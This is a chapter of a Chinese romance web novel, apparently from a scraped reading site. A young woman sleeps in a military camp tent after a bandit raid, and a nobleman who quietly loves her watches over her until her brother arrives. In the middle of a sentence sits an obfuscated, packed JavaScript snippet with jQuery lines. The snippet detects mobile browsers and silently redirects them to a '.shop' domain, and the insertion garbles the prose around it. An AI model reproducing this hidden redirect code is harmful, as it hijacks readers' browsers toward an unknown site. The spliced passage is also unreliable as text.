日头刚落的时候,郗绍派人来传了话,说炸药已经拆除。
夜已经黑了,四处亮起火光,此时下山太过危险,温寂便听从安排留在了军营之中。
前方的厮杀声始终未绝,时起时伏,郗绍似乎已经攻破了主寨。有兵士过来,引她去了中军附近一顶单独的帐子。
“世子吩咐,请小姐在此休息。”
说罢便退了出去。
温寂步入帐内,里面陈设简单的有些空荡。正中挂着一幅绘满标记的地形图,旁边悬着一盏牛皮灯笼,一个箱子,地上铺着一张厚羊毛毯。
她单手撑地在毯子上缓缓坐下,双臂环抱住曲起的膝盖,看着那盏光线昏黄的灯笼,有些无聊。
心中渐渐开始回想起白日的事情,想到温洛今日去围了赵成顺的府邸,应该歇在了官属。决定做的突然,他可最好不要突然想起回府…
又想起白日里自己不由分说将颜清辞推上马车,然后一路纵马狂奔的样子,有些自娱自乐的勾了勾唇。
她的马术如今好像真的还算不错…
想到马术,似乎又想起了什么,眼底的光又暗了下去。
帐外隐约的声音像是隔了一层,渐渐变得模糊。温寂将额头抵在膝盖上,不知不觉间睡了过去。
直到一件外衫带着一点体温的热度,轻轻披落在了她的肩头。
温寂浅眠,立马就醒了。
那双骨节分明的手还未来得及完全收回,僵在了半空。
温寂抬起头,看到郗绍高挺的鼻梁,深邃的眼睫垂下,他正半弯着腰,似乎刚为她披好衣服准备直起身。身上只穿着一件单衣,包裹着肌理紧实的身躯。
不远处的地上放着他的战甲,甲片上沾染着已经变成深褐色的血污。
“抱歉。”郗绍薄唇轻抿,他没想惊醒她。
“没关系。”温寂没怎么在意。
她伸手将肩上的衣服取下,递还给他。“世子自己穿着吧,世子也穿的很少。”
明日还要继续攻寨,万一主将冻着了就是大罪过了。
郗绍没说话,他将衣服接过,放在了她的身边,转身将地上的硬甲拿起来一件件重新套上,走到离她很远的地方,席地坐了下来。
温寂视线落在他身上,看他沉默地穿上染血的甲胄,夜间地上也是冷的,他大概是觉得自己不想和他有过多接触。
心中叹了口气,突然又觉得她好像有点太欺负人了。
她将手边那件他脱下的外衫又重新披在自己身上,转而轻声唤郗绍,“世子。”
郗绍闻声抬眼。
温寂拍了拍身边的位置,“不介意的话,过来坐吧。”
灯笼光晕昏黄,她坐在柔软厚实的毯子上,身上裹着他的衣服,发丝散落在颊边,因睡过而有些凌乱,眉眼美丽,神情温柔。
郗绍走了过去,他一到帐子中央处高大的影子就将她完全覆盖住,等他坐下来时灯笼的光才重新柔柔地铺洒在她的面庞。
身边的毯子因他的重量微微下陷,两人中间隔着半臂的距离。
帐内重新陷入安静,灯影摇摇晃晃催的人昏昏沉沉。
“今日多谢你。”忽然,郗绍开口,他看着前方,低沉的声音打破了沉默。
温寂也没有转头,目光虚虚地落在同一片光影里,“不用谢,颜姑娘和岑先生也帮了忙,若不是他们及时算出具体位置,我也给不了世子消息。”
“但不顾危险,架马过来的人是你。”郗绍声音冷清,“若不是你疾驰报信,消息也传不到我手上。”
他有些认真了,温寂不太忍心敷衍。
于是她道,“好吧,那这声谢我收下了。”
说着,又微微偏头,拉了拉身上披着的外衫,“也要谢谢世子的衣服。”
灯笼里的烛火爆开一朵烛花。
半响,郗绍才低声回应。“不用谢。”
她好像受了伤,总不能再受风寒。
温寂终于忍不住弯了眸子,“我们怎么总是谢来谢去的。”
她的声音带上一点笑意,郗绍侧过头看她。
细碎的烛光在她长而密的睫毛上洒上金沙,随着她眼波流转,明明灭灭,显得有些朦胧。
他能感觉到她在他面前比在旁人面前要更谨慎一些。至少像此刻这样眼睛弯起的样子,还是很久以前了。
那个时候他还没表露出自己的心意。
好像…自从那日在水果摊前,他对那孩童说出她不是喜欢的人之后,她在他面前,似乎就变的自然许多。
她其实不反感他,只要他不流露出任何他有喜欢她的可能,他们也许会成为朋友。
帐内的空气静谧,两人都是不习惯没话找话的性子。
温寂有些困了,今日马骑的太久,消耗了很多体力。但想到旁边还坐着个干净男人,她也不好在毯子上躺下,便稍稍向后坐了一点,将半边身子藏进灯笼光线照不到的阴影里,好让自己疲倦的不要太明显。
“我没想到你的马骑的那么好。”
郗绍的声音又响起来,温寂从阴影里微微抬眼,她靠后的角度,正好能看见他肩臂上冷硬的甲胄,和半边被光影勾勒得如同刀削斧刻般的下颌。
“是吗。”温寂打起精神,轻声道,“我练过一段时间。”
她突然觉得郗绍好像变得比她小,拉着她讲东讲西的。
“嗯。”
“…以后有机会,可以一同去马场。”
郗绍的手指不自觉的蜷缩。自从温寂和他说他有这个习惯之后,他便刻意克制了许久,很多时候不能让别人看出破绽。
但也许是此时的气氛有些放松,也许他注意力偏移到了别处。长久以来的习惯便又不经意地显露了出来。
浓郁的困意席卷上了温寂,她脑中停滞了一瞬,才回过神思。
就听郗绍也沉默了一瞬,补充了一句。
“…叫上温大小姐和明诚他们。”
温寂感觉自己似乎已经很久没有听过温棋语的名字了。
她的眼睛遮在阴影里,笑了笑,说好。
……
温寂睡了,等郗绍发现的时候,她抱着膝盖,头埋在膝中,只露出小块苍白的脸颊和散落的乌发,身体单薄。
她的姿势应该不太舒服,久了会腰背酸麻。郗绍的目光在她身上停留片刻,终究没有伸手去碰她。
他转回头,视线落在厚重的帐幔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108149|186864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上。
莫名就想起很久以前的那场骤雨,雨幕从天际倾泻下来,整个世界都灰蒙蒙的。那个时候怕她被雨淋湿,他将她护在臂弯里,他心跳的很快,便也不记得她是不是抗拒了。
其实他也不知道真正的喜欢是什么,最初在她没有剥去那层伪装的时候,仅仅是见到她,心中就会不自觉的欢喜。
后来他发现她会不动声色地算计,会说一些真假难辨的话,和贺彦修那种人混在一起,他心中那种很欢喜的感觉就淡了很多。
尽管郗绍也曾想过,他从前心动的,其实也不是她伪装出来的脆弱。每次见她的时候,不管是受伤,还是落水,她也会忍着疼,然后又不愿退缩。
他不知道她为什么会那样,他被那样的温寂吸引却又不想她一直处于那种状态。
他曾经希望她能变好,但直到今日,姚方杨绪的死,和她纵马疾驰的身影,所有一切在他脑中闪现。他才意识到,也许她美丽的地方正是与他无法全然认同的地方相伴而生。
他们的确不是走在同一条路上的人。
轻动了一下手臂,护甲上的铁片反着冰冷的暗光,与旁边柔软的羊毛毯格格不入。
此间事了,返回京城后,可能没过多久他就要去军中。父亲当年一去便是十数年。
现在他们也许可以如同友人般,隔着安全的距离说上几句话。也许回来的时候,他们就已经互相忘记了。
……
听着女子轻浅的呼吸声,在她身旁静静坐了片刻,郗绍终究还是起了身,走出了帐子。
月夜浓沉,匪寨矗立在远处,灯火零星,树影沙沙,如狰狞的巨兽。
郗绍没有再休息,去了前方巡视。
半夜的时候,温寂被嘈杂声吵醒,发现只有自己一个人在帐子里。保持别扭的睡姿太久,她身上有些酸疼,揉了揉脖颈,才察觉身上还披着郗绍那件外衫。
她起身掀开帐帘一角,就见外面火光晃动,一名守在帐外的士兵立刻上前,“惊扰小姐了,是有匪徒夜袭营地,已被世子率人击溃,小姐请安心。”
温寂点点头,那人又道,“小姐可以继续休息,属下一直在此守候,如果有异动属下会向小姐示警。”
温寂道了声谢,放下帐帘。郗绍不在,她便也没那么多顾虑,在毯子上侧卧了下来,很快便沉沉睡去。
第二日清晨,天光尚未大亮,号角声便撕裂了山间的宁静,穿透了营帐。
温寂起身整理了一下微皱的衣衫和散乱的头发,正准备出去看看情况。
帐帘却在这时被人从外面掀开。
清冷的晨光中,一道熟悉的高挑身影立在帐口,逆着光看不清表情。
她抬头,却正对上一双流溢危险的冷淡眼眸。
“哥哥怎么来了?”
温寂像是什么都未察觉一般让出身子,让他进去。
温洛一步踏入帐中,扫了一眼帐内,眸光落在毯子上的男人衣物上时胸膛明显起伏了一下。
他吸了一口气,“你还问我为什么来?这么危险的地方,你一个人跑过来!”
“我还有两个暗卫啊。”
温寂有些无奈,“况且当时情况那么焦急。”